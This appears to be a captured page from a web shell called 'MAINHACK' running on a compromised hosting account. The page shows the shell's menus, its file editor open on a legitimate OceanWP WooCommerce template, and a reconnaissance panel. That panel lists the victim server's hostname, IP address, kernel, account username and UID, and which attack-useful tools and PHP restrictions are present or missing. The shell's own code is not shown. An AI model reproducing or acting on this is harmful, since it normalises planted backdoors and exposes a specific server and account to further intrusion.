[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: result-count.php
<?php /** * Number of products on shop page * * @package OceanWP WordPress theme */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( is_single() || ! have_posts() ) { return; } $products_per_page = get_theme_mod( 'ocean_woo_shop_posts_per_page', 12 ); $max_cap = oceanwp_get_shop_result_max_cap(); $num_prod = 0; $requested_view = ''; if ( isset( $_GET['products-per-page'] ) ) { $requested_view = sanitize_text_field( wp_unslash( $_GET['products-per-page'] ) ); if ( $requested_view === 'all' ) { $num_prod = $max_cap; } else { $num_prod = min( absint( $requested_view ), $max_cap ); } } else { $requested_view = (string) $products_per_page; $num_prod = min( $products_per_page, $max_cap ); } $num_prod_x1 = $products_per_page; $num_prod_x2 = $products_per_page * 2; $obj = get_queried_object(); $link = ''; if ( isset( $obj->term_id ) ) { $link = get_term_link( $obj->term_id, 'product_cat' ); if ( is_wp_error( $link ) ) { $link = get_term_link( $obj->term_id, 'product_tag' ); } if ( is_wp_error( $link ) ) { $link = get_term_link( $obj->term_id, get_term_tax_attr() ); } } else { if ( get_option( 'permalink_structure' ) == '' ) { $link = get_post_type_archive_link( 'product' ); } else { $link = get_permalink( wc_get_page_id( 'shop' ) ); } } /** * Filter query link for products number * * @since 1.0.8 * @param string $link The old query url */ $link = apply_filters( 'ocean_num_products_link', $link ); if ( ! empty( $_GET ) ) { foreach ( $_GET as $key => $value ){ $link = add_query_arg( $key, $value, $link ); } } ?> <ul class="result-count"> <li class="view-title"><?php esc_html_e( 'View:', 'oceanwp' ); ?></li> <li><a class="view-first<?php if ( $requested_view === $num_prod_x1 ) echo ' active'; ?>" href="<?php echo esc_url( add_query_arg( 'products-per-page', $num_prod_x1, $link ) ); ?>" rel="nofollow"><?php echo esc_html( $num_prod_x1 ); ?></a></li> <li><a class="view-second<?php if ( (int)$requested_view === $num_prod_x2 ) echo ' active'; ?>" href="<?php echo esc_url( add_query_arg( 'products-per-page', $num_prod_x2, $link ) ); ?>" rel="nofollow"><?php echo esc_html( $num_prod_x2 ); ?></a></li> <li><a class="view-all<?php if ( $requested_view === 'all' ) echo ' active'; ?>" href="<?php echo esc_url( add_query_arg( 'products-per-page', 'all', $link ) ); ?>" rel="nofollow"><?php esc_html_e( 'All', 'oceanwp' ); ?></a></li> </ul>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.65 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154